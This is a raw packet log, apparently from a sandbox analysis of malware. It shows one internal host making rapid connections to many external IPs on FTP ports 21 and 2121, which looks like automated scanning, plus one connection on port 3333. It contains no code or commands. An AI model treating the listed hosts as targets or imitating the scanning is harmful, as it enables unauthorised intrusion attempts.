Aug 23, 2023 09:16:23.379261971 CEST	2121	52013	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.379384041 CEST	52019	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.396496058 CEST	52022	2121	192.168.2.3	211.49.103.112
Aug 23, 2023 09:16:23.412168980 CEST	52023	21	192.168.2.3	69.131.222.11
Aug 23, 2023 09:16:23.440846920 CEST	21	52003	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.441015959 CEST	21	52018	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.441142082 CEST	52018	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:23.459475040 CEST	52024	2121	192.168.2.3	69.131.222.11
Aug 23, 2023 09:16:23.467698097 CEST	2121	51986	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:23.468467951 CEST	52025	21	192.168.2.3	191.43.6.202
Aug 23, 2023 09:16:23.474070072 CEST	51950	21	192.168.2.3	150.249.6.171
Aug 23, 2023 09:16:23.520940065 CEST	51953	2121	192.168.2.3	49.48.90.96
Aug 23, 2023 09:16:23.525217056 CEST	52026	2121	192.168.2.3	191.43.6.202
Aug 23, 2023 09:16:23.525353909 CEST	52027	21	192.168.2.3	71.207.120.186
Aug 23, 2023 09:16:23.525518894 CEST	52028	2121	192.168.2.3	71.207.120.186
Aug 23, 2023 09:16:23.525667906 CEST	52029	21	192.168.2.3	123.27.242.233
Aug 23, 2023 09:16:23.525753975 CEST	52030	2121	192.168.2.3	123.27.242.233
Aug 23, 2023 09:16:23.525765896 CEST	52031	21	192.168.2.3	71.198.70.240
Aug 23, 2023 09:16:23.525834084 CEST	52032	2121	192.168.2.3	71.198.70.240
Aug 23, 2023 09:16:23.538472891 CEST	52033	21	192.168.2.3	173.170.210.12
Aug 23, 2023 09:16:23.538537979 CEST	52035	21	192.168.2.3	40.88.224.99
Aug 23, 2023 09:16:23.538574934 CEST	52034	2121	192.168.2.3	173.170.210.12
Aug 23, 2023 09:16:23.543620110 CEST	2121	52005	175.208.27.160	192.168.2.3
Aug 23, 2023 09:16:23.589982033 CEST	2121	52019	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.590456963 CEST	52019	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.620171070 CEST	2121	52019	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.621223927 CEST	2121	52019	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.621618986 CEST	52019	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.630285025 CEST	51954	21	192.168.2.3	104.98.102.132
Aug 23, 2023 09:16:23.646718025 CEST	52036	2121	192.168.2.3	40.88.224.99
Aug 23, 2023 09:16:23.650053024 CEST	21	52018	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.650408983 CEST	52018	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:23.659548044 CEST	2121	52019	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.659868956 CEST	52019	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.691390991 CEST	2121	52019	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.691436052 CEST	2121	52019	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.691688061 CEST	52019	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.691761971 CEST	52019	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.692173958 CEST	52037	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.692804098 CEST	51993	2121	192.168.2.3	1.232.183.243
Aug 23, 2023 09:16:23.722922087 CEST	2121	52019	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.722965002 CEST	2121	52037	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.723669052 CEST	52037	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.739758968 CEST	52002	21	192.168.2.3	175.208.27.160
Aug 23, 2023 09:16:23.739765882 CEST	51956	2121	192.168.2.3	104.98.102.132
Aug 23, 2023 09:16:23.753413916 CEST	2121	52030	123.27.242.233	192.168.2.3
Aug 23, 2023 09:16:23.755304098 CEST	51957	21	192.168.2.3	159.0.4.225
Aug 23, 2023 09:16:23.822807074 CEST	21	52018	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.822846889 CEST	21	52018	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.823168993 CEST	52018	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:23.866559029 CEST	52038	21	192.168.2.3	20.159.35.137
Aug 23, 2023 09:16:23.867650032 CEST	52039	2121	192.168.2.3	20.159.35.137
Aug 23, 2023 09:16:23.923690081 CEST	2121	52037	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.924041033 CEST	52037	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.954372883 CEST	2121	52037	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.954425097 CEST	2121	52037	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.954719067 CEST	52037	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.958450079 CEST	2121	51993	1.232.183.243	192.168.2.3
Aug 23, 2023 09:16:23.958450079 CEST	51964	2121	192.168.2.3	82.202.218.71
Aug 23, 2023 09:16:23.958534956 CEST	51962	21	192.168.2.3	82.202.218.71
Aug 23, 2023 09:16:23.959084988 CEST	52040	21	192.168.2.3	78.37.247.69
Aug 23, 2023 09:16:23.987481117 CEST	2121	52037	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:23.987845898 CEST	52037	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:23.989700079 CEST	51965	21	192.168.2.3	72.197.134.48
Aug 23, 2023 09:16:23.990187883 CEST	52041	2121	192.168.2.3	78.37.247.69
Aug 23, 2023 09:16:23.995441914 CEST	21	52018	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:23.995887995 CEST	52018	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:23.996706009 CEST	21	52002	175.208.27.160	192.168.2.3
Aug 23, 2023 09:16:23.997648001 CEST	52042	21	192.168.2.3	222.233.201.60
Aug 23, 2023 09:16:24.017785072 CEST	2121	52037	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.018043041 CEST	52037	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.018271923 CEST	2121	52037	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.018372059 CEST	52037	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.019680977 CEST	52043	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.021610975 CEST	52044	2121	192.168.2.3	222.233.201.60
Aug 23, 2023 09:16:24.036732912 CEST	51967	2121	192.168.2.3	72.197.134.48
Aug 23, 2023 09:16:24.047585011 CEST	2121	52037	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.051539898 CEST	2121	52043	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.051695108 CEST	52043	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.052217007 CEST	52005	2121	192.168.2.3	175.208.27.160
Aug 23, 2023 09:16:24.068020105 CEST	51968	21	192.168.2.3	5.141.35.195
Aug 23, 2023 09:16:24.167351007 CEST	21	52018	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:24.167572021 CEST	21	52018	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:24.167598009 CEST	52018	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:24.167642117 CEST	52018	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:24.168359041 CEST	52045	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:24.177217007 CEST	51969	2121	192.168.2.3	5.141.35.195
Aug 23, 2023 09:16:24.193382025 CEST	52046	21	192.168.2.3	20.50.181.213
Aug 23, 2023 09:16:24.253284931 CEST	2121	52043	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.253751993 CEST	52043	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.265386105 CEST	51972	21	192.168.2.3	104.94.66.138
Aug 23, 2023 09:16:24.265455961 CEST	52030	2121	192.168.2.3	123.27.242.233
Aug 23, 2023 09:16:24.271831036 CEST	52047	2121	192.168.2.3	20.50.181.213
Aug 23, 2023 09:16:24.285603046 CEST	2121	52043	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.287058115 CEST	2121	52043	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.288285017 CEST	21	52042	222.233.201.60	192.168.2.3
Aug 23, 2023 09:16:24.288337946 CEST	52043	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.293276072 CEST	21	52008	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:24.293592930 CEST	52008	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:24.307830095 CEST	2121	52005	175.208.27.160	192.168.2.3
Aug 23, 2023 09:16:24.308686972 CEST	52048	21	192.168.2.3	104.174.131.199
Aug 23, 2023 09:16:24.322809935 CEST	2121	52043	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.323235989 CEST	52043	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.324032068 CEST	2121	52044	222.233.201.60	192.168.2.3
Aug 23, 2023 09:16:24.338680983 CEST	21	52018	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:24.339701891 CEST	21	52045	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:24.339865923 CEST	52045	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:24.355772972 CEST	2121	52043	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.356148005 CEST	52043	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.356178045 CEST	2121	52043	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.356251955 CEST	52043	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.356875896 CEST	52049	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.388044119 CEST	2121	52043	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.388787031 CEST	2121	52049	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.388906002 CEST	52049	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.427355051 CEST	51975	2121	192.168.2.3	104.94.66.138
Aug 23, 2023 09:16:24.427355051 CEST	51976	21	192.168.2.3	79.20.124.228
Aug 23, 2023 09:16:24.474178076 CEST	51977	2121	192.168.2.3	79.20.124.228
Aug 23, 2023 09:16:24.492677927 CEST	2121	52030	123.27.242.233	192.168.2.3
Aug 23, 2023 09:16:24.507042885 CEST	21	52008	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:24.507082939 CEST	21	52008	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:24.507118940 CEST	21	52008	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:24.507232904 CEST	52008	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:24.507345915 CEST	52008	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:24.508083105 CEST	52050	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:24.536643028 CEST	51978	21	192.168.2.3	47.147.186.106
Aug 23, 2023 09:16:24.538214922 CEST	21	52045	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:24.538676977 CEST	52045	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:24.596267939 CEST	2121	52049	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.596730947 CEST	52049	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.599126101 CEST	51979	2121	192.168.2.3	47.147.186.106
Aug 23, 2023 09:16:24.599190950 CEST	51981	2121	192.168.2.3	188.97.19.61
Aug 23, 2023 09:16:24.599208117 CEST	51980	21	192.168.2.3	188.97.19.61
Aug 23, 2023 09:16:24.630410910 CEST	51983	2121	192.168.2.3	88.49.116.20
Aug 23, 2023 09:16:24.630414009 CEST	51982	21	192.168.2.3	88.49.116.20
Aug 23, 2023 09:16:24.633291006 CEST	2121	52049	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.633325100 CEST	2121	52049	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.633783102 CEST	52049	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.668601990 CEST	2121	52049	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.669028044 CEST	52049	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.701565027 CEST	2121	52049	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.701817036 CEST	52049	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.702064991 CEST	2121	52049	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.702121019 CEST	52049	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.702526093 CEST	52051	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.709990978 CEST	21	52045	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:24.711508036 CEST	21	52045	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:24.711925030 CEST	52045	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:24.720407009 CEST	21	52008	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:24.722100973 CEST	21	52050	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:24.722193956 CEST	52050	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:24.733896971 CEST	2121	52049	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.734647036 CEST	2121	52051	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.734714031 CEST	52051	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.802274942 CEST	52042	21	192.168.2.3	222.233.201.60
Aug 23, 2023 09:16:24.833508968 CEST	52044	2121	192.168.2.3	222.233.201.60
Aug 23, 2023 09:16:24.883981943 CEST	21	52045	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:24.884413958 CEST	52045	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:24.931914091 CEST	2121	52051	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.932215929 CEST	52051	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.938720942 CEST	21	52050	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:24.939062119 CEST	52050	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:24.964271069 CEST	2121	52051	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.965518951 CEST	2121	52051	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:24.965820074 CEST	52051	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:24.991646051 CEST	52052	2121	192.168.2.3	104.174.131.199
Aug 23, 2023 09:16:24.992418051 CEST	52053	21	192.168.2.3	20.58.174.143
Aug 23, 2023 09:16:24.993068933 CEST	52054	2121	192.168.2.3	20.58.174.143
Aug 23, 2023 09:16:24.993872881 CEST	52055	21	192.168.2.3	121.139.250.179
Aug 23, 2023 09:16:25.000756979 CEST	2121	52051	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.001082897 CEST	52051	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.005099058 CEST	52030	2121	192.168.2.3	123.27.242.233
Aug 23, 2023 09:16:25.021065950 CEST	51990	21	192.168.2.3	122.181.99.20
Aug 23, 2023 09:16:25.033905029 CEST	2121	52051	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.034143925 CEST	52051	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.034353971 CEST	2121	52051	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.034403086 CEST	52051	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.035234928 CEST	52056	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.055805922 CEST	21	52045	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:25.055834055 CEST	21	52045	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:25.055912018 CEST	52045	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:25.056071997 CEST	52045	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:25.057760000 CEST	52057	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:25.064661980 CEST	2121	52056	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.066163063 CEST	52056	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.066309929 CEST	2121	52051	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.083570004 CEST	51991	2121	192.168.2.3	122.181.99.20
Aug 23, 2023 09:16:25.093941927 CEST	21	52042	222.233.201.60	192.168.2.3
Aug 23, 2023 09:16:25.135984898 CEST	2121	52044	222.233.201.60	192.168.2.3
Aug 23, 2023 09:16:25.146096945 CEST	51992	21	192.168.2.3	1.232.183.243
Aug 23, 2023 09:16:25.146100998 CEST	51994	21	192.168.2.3	69.139.78.225
Aug 23, 2023 09:16:25.148359060 CEST	52058	2121	192.168.2.3	121.139.250.179
Aug 23, 2023 09:16:25.151911020 CEST	52060	2121	192.168.2.3	3.38.244.84
Aug 23, 2023 09:16:25.151935101 CEST	52061	21	192.168.2.3	71.225.40.65
Aug 23, 2023 09:16:25.151947975 CEST	52059	21	192.168.2.3	3.38.244.84
Aug 23, 2023 09:16:25.152623892 CEST	21	52050	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:25.162877083 CEST	51995	2121	192.168.2.3	69.139.78.225
Aug 23, 2023 09:16:25.177324057 CEST	51998	2121	192.168.2.3	176.61.71.72
Aug 23, 2023 09:16:25.177339077 CEST	51996	2121	192.168.2.3	187.13.177.105
Aug 23, 2023 09:16:25.177340984 CEST	51999	21	192.168.2.3	176.61.71.72
Aug 23, 2023 09:16:25.177405119 CEST	51997	21	192.168.2.3	187.13.177.105
Aug 23, 2023 09:16:25.195756912 CEST	52000	21	192.168.2.3	104.83.44.122
Aug 23, 2023 09:16:25.208544970 CEST	52001	2121	192.168.2.3	104.83.44.122
Aug 23, 2023 09:16:25.227309942 CEST	21	52045	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:25.229034901 CEST	21	52057	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:25.229245901 CEST	52057	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:25.233407021 CEST	2121	52030	123.27.242.233	192.168.2.3
Aug 23, 2023 09:16:25.235111952 CEST	52063	2121	192.168.2.3	71.225.40.65
Aug 23, 2023 09:16:25.235249996 CEST	52062	21	192.168.2.3	83.90.167.8
Aug 23, 2023 09:16:25.241194010 CEST	52064	2121	192.168.2.3	83.90.167.8
Aug 23, 2023 09:16:25.250891924 CEST	21	52055	121.139.250.179	192.168.2.3
Aug 23, 2023 09:16:25.270457029 CEST	2121	52056	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.272306919 CEST	52056	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.302714109 CEST	2121	52056	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.304774046 CEST	2121	52056	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.329375029 CEST	52056	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.361643076 CEST	2121	52056	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.362641096 CEST	52056	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.393590927 CEST	2121	52056	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.393774033 CEST	2121	52056	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.394047022 CEST	52056	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.399091005 CEST	2121	52060	3.38.244.84	192.168.2.3
Aug 23, 2023 09:16:25.401900053 CEST	52056	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.405802011 CEST	2121	52058	121.139.250.179	192.168.2.3
Aug 23, 2023 09:16:25.415056944 CEST	52065	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.424473047 CEST	21	52059	3.38.244.84	192.168.2.3
Aug 23, 2023 09:16:25.426074982 CEST	21	52057	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:25.426572084 CEST	52057	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:25.430820942 CEST	2121	52056	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.449299097 CEST	2121	52065	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.449703932 CEST	52065	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.475157022 CEST	52066	21	192.168.2.3	98.61.218.89
Aug 23, 2023 09:16:25.523811102 CEST	52006	21	192.168.2.3	8.46.204.85
Aug 23, 2023 09:16:25.537475109 CEST	52067	2121	192.168.2.3	98.61.218.89
Aug 23, 2023 09:16:25.587554932 CEST	52007	2121	192.168.2.3	8.46.204.85
Aug 23, 2023 09:16:25.597958088 CEST	21	52057	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:25.599145889 CEST	21	52057	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:25.619497061 CEST	52042	21	192.168.2.3	222.233.201.60
Aug 23, 2023 09:16:25.619827986 CEST	52057	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:25.628474951 CEST	2121	52065	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.647599936 CEST	52044	2121	192.168.2.3	222.233.201.60
Aug 23, 2023 09:16:25.679893017 CEST	52065	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.695780993 CEST	52010	21	192.168.2.3	92.11.249.89
Aug 23, 2023 09:16:25.727813959 CEST	52011	2121	192.168.2.3	92.11.249.89
Aug 23, 2023 09:16:25.755557060 CEST	52055	21	192.168.2.3	121.139.250.179
Aug 23, 2023 09:16:25.791848898 CEST	21	52057	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:25.833730936 CEST	52057	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:25.910294056 CEST	21	52042	222.233.201.60	192.168.2.3
Aug 23, 2023 09:16:25.911725044 CEST	52060	2121	192.168.2.3	3.38.244.84
Aug 23, 2023 09:16:25.911745071 CEST	52058	2121	192.168.2.3	121.139.250.179
Aug 23, 2023 09:16:25.921870947 CEST	52065	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.921900034 CEST	52057	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:25.922549963 CEST	52068	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:25.923237085 CEST	52069	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:25.923237085 CEST	52070	21	192.168.2.3	196.74.138.22
Aug 23, 2023 09:16:25.924002886 CEST	52071	2121	192.168.2.3	196.74.138.22
Aug 23, 2023 09:16:25.927876949 CEST	52059	21	192.168.2.3	3.38.244.84
Aug 23, 2023 09:16:25.938854933 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:25.939927101 CEST	52068	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:25.949853897 CEST	2121	52044	222.233.201.60	192.168.2.3
Aug 23, 2023 09:16:25.954547882 CEST	2121	52065	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.955676079 CEST	2121	52065	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:25.959537983 CEST	52012	21	192.168.2.3	71.68.32.60
Aug 23, 2023 09:16:25.965256929 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:25.966193914 CEST	52065	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:25.967348099 CEST	52072	21	192.168.2.3	49.166.62.107
Aug 23, 2023 09:16:25.967355967 CEST	52073	2121	192.168.2.3	49.166.62.107
Aug 23, 2023 09:16:25.967479944 CEST	52068	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:25.983802080 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:25.987936974 CEST	52074	21	192.168.2.3	106.246.76.6
Aug 23, 2023 09:16:25.989715099 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:25.990624905 CEST	52075	2121	192.168.2.3	106.246.76.6
Aug 23, 2023 09:16:25.991522074 CEST	52068	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.001549959 CEST	2121	52065	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.002249956 CEST	52065	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.007865906 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.013096094 CEST	21	52055	121.139.250.179	192.168.2.3
Aug 23, 2023 09:16:26.035209894 CEST	2121	52065	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.035725117 CEST	2121	52065	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.035826921 CEST	52065	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.036017895 CEST	52065	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.036768913 CEST	52076	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.036768913 CEST	52014	2121	192.168.2.3	71.68.32.60
Aug 23, 2023 09:16:26.039819002 CEST	52077	21	192.168.2.3	188.237.205.74
Aug 23, 2023 09:16:26.052578926 CEST	52015	21	192.168.2.3	168.149.76.243
Aug 23, 2023 09:16:26.068412066 CEST	2121	52065	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.068866014 CEST	2121	52076	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.069036961 CEST	52076	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.079334974 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.093698025 CEST	21	52057	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:26.093738079 CEST	21	52057	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:26.093871117 CEST	52057	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:26.109935045 CEST	52057	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:26.111061096 CEST	52078	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:26.111068010 CEST	52079	2121	192.168.2.3	188.237.205.74
Aug 23, 2023 09:16:26.111186981 CEST	52068	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.127347946 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.127387047 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.127423048 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.127475023 CEST	52068	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.132776976 CEST	52068	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.133831024 CEST	52080	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.148957968 CEST	21	52068	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.150007010 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.150177002 CEST	52080	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.151923895 CEST	21	52069	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:26.152045965 CEST	52069	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:26.153408051 CEST	21	52050	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:26.158993959 CEST	2121	52060	3.38.244.84	192.168.2.3
Aug 23, 2023 09:16:26.169673920 CEST	2121	52058	121.139.250.179	192.168.2.3
Aug 23, 2023 09:16:26.200176954 CEST	21	52059	3.38.244.84	192.168.2.3
Aug 23, 2023 09:16:26.208684921 CEST	52050	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:26.242485046 CEST	2121	52075	106.246.76.6	192.168.2.3
Aug 23, 2023 09:16:26.250511885 CEST	21	52074	106.246.76.6	192.168.2.3
Aug 23, 2023 09:16:26.255580902 CEST	52016	2121	192.168.2.3	168.149.76.243
Aug 23, 2023 09:16:26.256165028 CEST	51875	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:16:26.270720005 CEST	52050	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:26.271158934 CEST	52017	21	192.168.2.3	73.84.212.167
Aug 23, 2023 09:16:26.271737099 CEST	52081	21	192.168.2.3	34.87.25.80
Aug 23, 2023 09:16:26.272645950 CEST	52082	2121	192.168.2.3	34.87.25.80
Aug 23, 2023 09:16:26.281343937 CEST	21	52057	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:26.282476902 CEST	21	52078	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:26.282592058 CEST	52078	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:26.284277916 CEST	2121	52076	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.284631014 CEST	52076	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.316762924 CEST	2121	52076	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.318228960 CEST	2121	52076	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.328558922 CEST	52076	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.336662054 CEST	21	52080	46.251.235.80	192.168.2.3
